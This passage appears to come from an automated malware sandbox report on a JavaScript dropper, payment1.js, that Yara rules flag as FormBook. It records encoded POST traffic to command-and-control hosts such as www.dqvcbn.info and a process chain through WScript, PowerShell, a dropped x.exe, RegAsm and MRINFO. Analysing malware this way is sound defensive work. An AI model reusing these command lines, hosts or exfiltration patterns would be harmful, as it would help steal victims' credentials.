Feb 18, 2025 08:16:08.324414968 CET	10942	OUT	POST /mvfs/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: en-us Host: www.weilaishijie.xyz Origin: http://www.weilaishijie.xyz Referer: http://www.weilaishijie.xyz/mvfs/ Content-Type: application/x-www-form-urlencoded Content-Length: 10301 Connection: close Cache-Control: max-age=0 User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; GTB7.5; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30618; .NET4.0C; BRI/1) Data Raw: 4a 5a 66 64 3d 44 56 57 33 46 77 31 74 4c 68 71 79 76 77 36 2b 6a 30 4d 4a 65 77 47 61 32 78 4f 4c 74 52 4e 62 7a 2b 38 45 30 66 36 54 32 39 4a 69 4a 62 42 77 46 2b 6b 38 4f 77 56 57 52 69 6f 6b 79 50 75 52 69 41 30 4b 64 48 5a 53 43 65 4d 36 37 39 72 43 65 67 47 4d 56 4f 70 59 4f 2b 63 79 59 30 54 45 4b 6c 72 5a 33 68 48 4c 41 55 66 31 47 72 73 32 57 35 49 43 62 2b 39 61 6f 52 6f 4b 68 36 33 46 4d 48 57 53 63 72 43 50 4e 55 4c 6f 34 35 33 6e 53 7a 4b 77 6e 6c 4c 32 64 2b 73 44 68 67 64 33 75 42 33 41 56 57 63 67 42 66 70 58 4d 79 47 4f 2f 45 4e 43 39 56 55 2b 43 49 5a 6f 6e 54 2b 5a 49 48 6e 76 37 54 6d 36 32 64 66 64 62 59 30 42 50 4d 4c 77 63 31 4d 43 33 6e 30 47 42 45 2b 46 59 7a 66 38 34 5a 56 2b 76 55 50 76 32 45 59 55 44 2f 4b 68 4e 77 6d 43 42 73 65 6c 53 31 45 7a 32 64 41 42 70 69 45 67 37 34 75 68 72 32 78 63 54 78 55 7a 32 48 6c 42 45 2b 79 43 32 36 53 34 54 4a 6c 2f 36 74 4f 4f 6b 51 70 59 6a 37 4d 4b 72 58 54 46 67 36 6b 33 44 66 4c 72 56 4d 6b 58 53 66 68 61 31 59 34 6e 79 65 64 64 76 [TRUNCATED] Data Ascii: JZfd=DVW3Fw1tLhqyvw6+j0MJewGa2xOLtRNbz+8E0f6T29JiJbBwF+k8OwVWRiokyPuRiA0KdHZSCeM679rCegGMVOpYO+cyY0TEKlrZ3hHLAUf1Grs2W5ICb+9aoRoKh63FMHWScrCPNULo453nSzKwnlL2d+sDhgd3uB3AVWcgBfpXMyGO/ENC9VU+CIZonT+ZIHnv7Tm62dfdbY0BPMLwc1MC3n0GBE+FYzf84ZV+vUPv2EYUD/KhNwmCBselS1Ez2dABpiEg74uhr2xcTxUz2HlBE+yC26S4TJl/6tOOkQpYj7MKrXTFg6k3DfLrVMkXSfha1Y4nyeddvt0j1FHvExiN0GdNFPzEFxatJaXw1AO7akWpTiCPgJROALZvtsWNMofh235arjIJVW0Q83ZcJth9xpe1s5bJ7FkXarXUKA6foxFrfcJVotC4See4HevjdDHuA0vWU+rUWoOypMg3upTXvik4GDF6tXvtirJh7G/Of6uc3MR92e7FeZDxdTvLP1pkmCnldW8eG1nWWbvFwAaG+rhQwgrznmttlt8uuk9mh6SffeIBhIC9SImMyGgKgZqOPRjEgMnMlQbLhRTiW8h50d0YYBI45ddFJvQAIpF0+/me/adQMiNLIC7KyKOhm3ucBpEDWR+/NneTThKHbUvMB2MUiNEJy92eL+6Hd/5fHVK8uURRukWJUCyBZYMNjlLCmUQdr/lVSMsDOpl6fR4vkQ954qBQ5gqRmxZ0ZQMErjA4Qe1he2nkOQOGLKapvlVXjuAUy1H6/NA1Cm49FtNxFJyRiSYK55WJ3lHjLwGl+AZQL4E6ytRijL1brkPzN6jKvIiMT3mf/7K2Rat+aJrv2xhehBakRdc6xcWjzCfVl7X6ehzven6Z+SmbLpiiy/1e3erApEsbpH6CJLDmzNv/Ta53Rt20VXAz+UiEH1aKzvK748CTkbIawXR5pAs5+T+i87oyA0PYkk/4fsyfroB6CyXPKpUndS1ZrPnTK2ozMsR [TRUNCATED]
Feb 18, 2025 08:16:08.769023895 CET	73	IN	HTTP/1.1 405 Method Not Allowed content-length: 0 connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.4	52663	13.248.169.48	80	2924	C:\Program Files (x86)\OVrzdtpAJkUFNFxlpUNgueJzbCMfzzemcypfNUNWleVznMyEoygbG\sxkv2RIDKUVCF4X010eCnC.exe

Timestamp	Bytes transferred	Direction	Data
Feb 18, 2025 08:16:10.872796059 CET	571	OUT	GET /mvfs/?28t=_DlH9FNpJbu&JZfd=OX+XGG1vMjnBpir6rX0/G3mm6BKDnX5s9v0C7sC38KVwA5xuSoQxQAVtGC05vfCZlgARXwgyCJM/mKbUQVyNeO12dcoATF+wDwavyiCFDGb9TNEZS4YCLPo= HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-us Host: www.weilaishijie.xyz Connection: close User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; GTB7.5; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30618; .NET4.0C; BRI/1)
Feb 18, 2025 08:16:14.361450911 CET	377	IN	HTTP/1.1 200 OK content-type: text/html date: Tue, 18 Feb 2025 07:16:14 GMT content-length: 256 connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3d 22 2f 6c 61 6e 64 65 72 3f 32 38 74 3d 5f 44 6c 48 39 46 4e 70 4a 62 75 26 4a 5a 66 64 3d 4f 58 2b 58 47 47 31 76 4d 6a 6e 42 70 69 72 36 72 58 30 2f 47 33 6d 6d 36 42 4b 44 6e 58 35 73 39 76 30 43 37 73 43 33 38 4b 56 77 41 35 78 75 53 6f 51 78 51 41 56 74 47 43 30 35 76 66 43 5a 6c 67 41 52 58 77 67 79 43 4a 4d 2f 6d 4b 62 55 51 56 79 4e 65 4f 31 32 64 63 6f 41 54 46 2b 77 44 77 61 76 79 69 43 46 44 47 62 39 54 4e 45 5a 53 34 59 43 4c 50 6f 3d 22 7d 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html><html><head><script>window.onload=function(){window.location.href="/lander?28t=_DlH9FNpJbu&JZfd=OX+XGG1vMjnBpir6rX0/G3mm6BKDnX5s9v0C7sC38KVwA5xuSoQxQAVtGC05vfCZlgARXwgyCJM/mKbUQVyNeO12dcoATF+wDwavyiCFDGb9TNEZS4YCLPo="}</script></head></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.4	52664	47.83.1.90	80	2924	C:\Program Files (x86)\OVrzdtpAJkUFNFxlpUNgueJzbCMfzzemcypfNUNWleVznMyEoygbG\sxkv2RIDKUVCF4X010eCnC.exe

Timestamp	Bytes transferred	Direction	Data
Feb 18, 2025 08:16:19.431338072 CET	825	OUT	POST /xqy6/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: en-us Host: www.dqvcbn.info Origin: http://www.dqvcbn.info Referer: http://www.dqvcbn.info/xqy6/ Content-Type: application/x-www-form-urlencoded Content-Length: 201 Connection: close Cache-Control: max-age=0 User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; GTB7.5; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30618; .NET4.0C; BRI/1) Data Raw: 4a 5a 66 64 3d 36 43 31 75 65 4b 39 78 4f 36 34 31 64 61 73 57 4d 45 36 70 6d 4a 45 31 38 50 6d 65 68 32 6a 75 57 57 4b 33 63 6c 4c 62 38 38 38 54 6d 51 30 37 42 43 79 4a 63 6e 43 73 61 38 4a 4a 68 31 74 6a 58 4c 32 62 50 33 39 72 6d 74 78 56 7a 6d 57 6b 4d 67 58 2f 54 6b 67 78 58 38 49 4c 41 6f 43 2b 44 36 34 51 65 2f 79 33 77 33 4a 6c 61 31 4c 70 31 6e 44 65 49 4a 33 4d 6b 78 2b 51 39 4d 73 4c 69 78 53 61 68 76 55 44 65 78 46 56 62 49 34 42 52 67 4f 32 33 6f 63 45 44 48 32 37 6b 4e 6a 54 7a 68 59 36 47 67 6a 56 33 61 47 4e 51 36 71 61 59 4e 63 50 65 30 33 38 6f 38 5a 42 48 4c 6a 43 77 67 3d 3d Data Ascii: JZfd=6C1ueK9xO641dasWME6pmJE18Pmeh2juWWK3clLb888TmQ07BCyJcnCsa8JJh1tjXL2bP39rmtxVzmWkMgX/TkgxX8ILAoC+D64Qe/y3w3Jla1Lp1nDeIJ3Mkx+Q9MsLixSahvUDexFVbI4BRgO23ocEDH27kNjTzhY6GgjV3aGNQ6qaYNcPe038o8ZBHLjCwg==

Session ID	Source IP	Source Port	Destination IP	Destination Port
19	192.168.2.4	52665	47.83.1.90	80

Timestamp	Bytes transferred	Direction	Data
Feb 18, 2025 08:16:22.552894115 CET	845	OUT	POST /xqy6/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: en-us Host: www.dqvcbn.info Origin: http://www.dqvcbn.info Referer: http://www.dqvcbn.info/xqy6/ Content-Type: application/x-www-form-urlencoded Content-Length: 221 Connection: close Cache-Control: max-age=0 User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; GTB7.5; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30618; .NET4.0C; BRI/1) Data Raw: 4a 5a 66 64 3d 36 43 31 75 65 4b 39 78 4f 36 34 31 53 62 38 57 50 6b 47 70 6e 70 45 79 35 50 6d 65 72 57 6a 69 57 57 47 33 63 67 76 31 39 4b 45 54 6c 30 77 37 41 44 79 4a 50 58 43 73 52 63 49 4e 6c 31 74 30 58 4c 71 70 50 32 52 72 6d 74 31 56 7a 6c 43 6b 4d 52 58 38 42 45 67 7a 61 63 49 4a 64 59 43 2b 44 36 34 51 65 2b 58 59 77 33 52 6c 61 6b 37 70 31 47 44 42 55 5a 33 50 79 68 2b 51 35 4d 73 50 69 78 54 35 68 74 68 59 65 79 39 56 62 4b 67 42 55 68 4f 31 73 59 63 43 48 48 32 77 74 74 44 58 78 30 68 6d 4f 53 75 77 33 4a 2b 71 59 63 6e 41 4a 38 39 59 4d 30 54 50 31 37 51 31 4b 49 65 4c 72 67 34 54 4d 56 47 67 70 55 79 71 56 47 55 71 50 41 42 63 55 34 51 3d Data Ascii: JZfd=6C1ueK9xO641Sb8WPkGpnpEy5PmerWjiWWG3cgv19KETl0w7ADyJPXCsRcINl1t0XLqpP2Rrmt1VzlCkMRX8BEgzacIJdYC+D64Qe+XYw3Rlak7p1GDBUZ3Pyh+Q5MsPixT5hthYey9VbKgBUhO1sYcCHH2wttDXx0hmOSuw3J+qYcnAJ89YM0TP17Q1KIeLrg4TMVGgpUyqVGUqPABcU4Q=

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.2.4	52666	47.83.1.90	80

Timestamp	Bytes transferred	Direction	Data
Feb 18, 2025 08:16:25.102543116 CET	10927	OUT	POST /xqy6/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: en-us Host: www.dqvcbn.info Origin: http://www.dqvcbn.info Referer: http://www.dqvcbn.info/xqy6/ Content-Type: application/x-www-form-urlencoded Content-Length: 10301 Connection: close Cache-Control: max-age=0 User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; GTB7.5; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30618; .NET4.0C; BRI/1) Data Raw: 4a 5a 66 64 3d 36 43 31 75 65 4b 39 78 4f 36 34 31 53 62 38 57 50 6b 47 70 6e 70 45 79 35 50 6d 65 72 57 6a 69 57 57 47 33 63 67 76 31 39 4a 6b 54 6c 48 6f 37 41 67 61 4a 65 6e 43 73 53 63 49 4f 6c 31 74 4d 58 4c 79 74 50 32 73 65 6d 76 39 56 7a 46 65 6b 4b 6a 7a 38 4c 45 67 7a 46 4d 49 49 41 6f 43 72 44 36 70 5a 65 2b 48 59 77 33 52 6c 61 6d 7a 70 38 33 44 42 48 70 33 4d 6b 78 2b 6d 39 4d 73 72 69 77 33 48 68 74 6b 74 65 44 64 56 61 71 77 42 57 7a 57 31 78 6f 63 41 4b 6e 33 77 74 74 4f 4a 78 30 56 71 4f 54 62 62 33 4f 65 71 64 37 58 5a 4f 64 4e 31 62 53 37 39 76 4a 77 6c 4f 50 4b 57 75 43 30 75 42 6d 69 59 30 46 2b 59 49 58 4a 66 54 69 45 44 42 59 6a 6b 76 7a 38 42 4e 70 67 68 47 38 32 79 67 65 34 43 68 62 53 34 68 42 6d 73 79 73 38 65 56 53 4b 6a 48 50 65 38 6c 59 4d 36 56 30 30 52 59 4d 61 35 55 34 74 59 31 46 50 4e 6c 5a 49 62 56 32 4f 49 70 73 36 67 74 36 35 72 39 6f 4e 57 44 37 7a 4f 73 36 33 49 73 6e 39 39 48 51 42 44 4a 57 6e 55 66 6b 31 2f 63 4a 6b 72 50 6a 4e 4e 55 79 65 6f 6a 36 66 6e 66 [TRUNCATED] Data Ascii: JZfd=6C1ueK9xO641Sb8WPkGpnpEy5PmerWjiWWG3cgv19JkTlHo7AgaJenCsScIOl1tMXLytP2semv9VzFekKjz8LEgzFMIIAoCrD6pZe+HYw3Rlamzp83DBHp3Mkx+m9Msriw3HhtkteDdVaqwBWzW1xocAKn3wttOJx0VqOTbb3Oeqd7XZOdN1bS79vJwlOPKWuC0uBmiY0F+YIXJfTiEDBYjkvz8BNpghG82yge4ChbS4hBmsys8eVSKjHPe8lYM6V00RYMa5U4tY1FPNlZIbV2OIps6gt65r9oNWD7zOs63Isn99HQBDJWnUfk1/cJkrPjNNUyeoj6fnfhJT5X8sqWuI/tLBYekXnL+DDyfKglpiJDJch6ZP4sZRswgwXrMWZIG8oPrzNijljyI5F/3bjjSV8uFEaICNpI4VJ5YeDRPRGjj3ZfO9aaYVyRA7qFLm48kjfih4xY3f8zzQM/8mG08+gQVbPYTePKI91+edovSlCOuFTw3eF714FMJASQx+5cVXHamL7GV4vgvpmj/N7orjpuPn8DfO+Uz9uI1hlY/nlIsgy63GDBGbvC/nyw4CdHauz3Ayk5duRRW9iIPssQyH+G2DNMlNSt3StxIXjaVYh8JzAfiW622hcOgQStquVos8nU2ugWKwrnQ/AAm5bDKCqaVg1HZyfO9O5FVOzIoWCM1R5gssyRH7PW6FY9oQp4CX8Li0XUHn51EIAcxOARooKD6VZf5rUS4fh9fRB6ToiR/OMBYhKwYWGjH+WWiOidTNOGtqt8SwPfunK7fRch+VoP/8pucPO9/ryrUtG3lTp/Iuzchk1OghZituloBnWdlFqTUaQYsgo5Q4wQlO5ntCuQdHHtxYBZzlLjd1INg+M7VpECkXcSayffTimbqHR36moKoI1UgxBPhgUXUMAxEWUKIjueoevS6n1ei1ImSAbkX3tQ8dGjdPS3cl07gjSzlQmR4ii4uYdnwj9M6/IXF9dQ44B35bzxutyof9nEoj8WH [TRUNCATED]

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.4	52667	47.83.1.90	80

Timestamp	Bytes transferred	Direction	Data
Feb 18, 2025 08:16:27.642092943 CET	566	OUT	GET /xqy6/?JZfd=3AdOd/JiBJZfW59JF3bk/JUX+I6ir2eDUVeNMTHa5bokm3l1PR6gBk+gEKdbuXFpEa+iNwYC+tVHkUu9Fw3QKE4rVdEfXJGpPPZQf/r11XdvYWfnyknaUqI=&28t=_DlH9FNpJbu HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-us Host: www.dqvcbn.info Connection: close User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; GTB7.5; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30618; .NET4.0C; BRI/1)
Feb 18, 2025 08:16:29.218359947 CET	139	IN	HTTP/1.1 567 unknown Server: nginx/1.18.0 Date: Tue, 18 Feb 2025 07:16:29 GMT Content-Length: 17 Connection: close Data Raw: 52 65 71 75 65 73 74 20 74 6f 6f 20 6c 61 72 67 65 Data Ascii: Request too large

Target ID:	0
Start time:	02:14:11
Start date:	18/02/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\payment1.js"
Imagebase:	0x7ff619230000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	1
Start time:	02:14:24
Start date:	18/02/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy RemoteSigned -File "C:\Temp\dddddd.ps1"
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	2
Start time:	02:14:24
Start date:	18/02/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	3
Start time:	02:14:26
Start date:	18/02/2025
Path:	C:\Users\user\AppData\Local\Temp\x.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\x.exe"
Imagebase:	0x10000
File size:	413'184 bytes
MD5 hash:	FEC299680E47D0901C60D84DD11EFC55
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira
Reputation:	low
Has exited:	true

Target ID:	4
Start time:	02:14:26
Start date:	18/02/2025
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Imagebase:	0x80000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	5
Start time:	02:14:26
Start date:	18/02/2025
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Imagebase:	0x980000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000005.00000002.2104088509.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000005.00000002.2106523345.0000000002A10000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000005.00000002.2110867358.0000000003840000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	true

Target ID:	9
Start time:	02:14:44
Start date:	18/02/2025
Path:	C:\Program Files (x86)\OVrzdtpAJkUFNFxlpUNgueJzbCMfzzemcypfNUNWleVznMyEoygbG\sxkv2RIDKUVCF4X010eCnC.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\OVrzdtpAJkUFNFxlpUNgueJzbCMfzzemcypfNUNWleVznMyEoygbG\tlGuABffGV7.exe"
Imagebase:	0x3f0000
File size:	143'872 bytes
MD5 hash:	9C98D1A23EFAF1B156A130CEA7D2EE3A
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000009.00000002.2989939402.0000000003060000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security
Reputation:	moderate
Has exited:	false

Target ID:	10
Start time:	02:14:46
Start date:	18/02/2025
Path:	C:\Windows\SysWOW64\MRINFO.EXE
Wow64 process (32bit):	true
Commandline:	"C:\Windows\SysWOW64\MRINFO.EXE"
Imagebase:	0x710000
File size:	14'336 bytes
MD5 hash:	F664A3E4625D86FC6B389AFF416CF67F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 0000000A.00000002.2989897397.0000000003500000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 0000000A.00000002.2989992903.0000000003550000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 0000000A.00000002.2987628096.0000000003050000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security
Reputation:	moderate
Has exited:	false

Target ID:	11
Start time:	02:14:59
Start date:	18/02/2025
Path:	C:\Program Files (x86)\OVrzdtpAJkUFNFxlpUNgueJzbCMfzzemcypfNUNWleVznMyEoygbG\sxkv2RIDKUVCF4X010eCnC.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\OVrzdtpAJkUFNFxlpUNgueJzbCMfzzemcypfNUNWleVznMyEoygbG\VhI7TkPM.exe"
Imagebase:	0x3f0000
File size:	143'872 bytes
MD5 hash:	9C98D1A23EFAF1B156A130CEA7D2EE3A
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 0000000B.00000002.2992102247.0000000005150000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security
Reputation:	moderate
Has exited:	false

Target ID:	12
Start time:	02:15:13
Start date:	18/02/2025
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\Firefox.exe"
Imagebase:	0x7ff6bf500000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true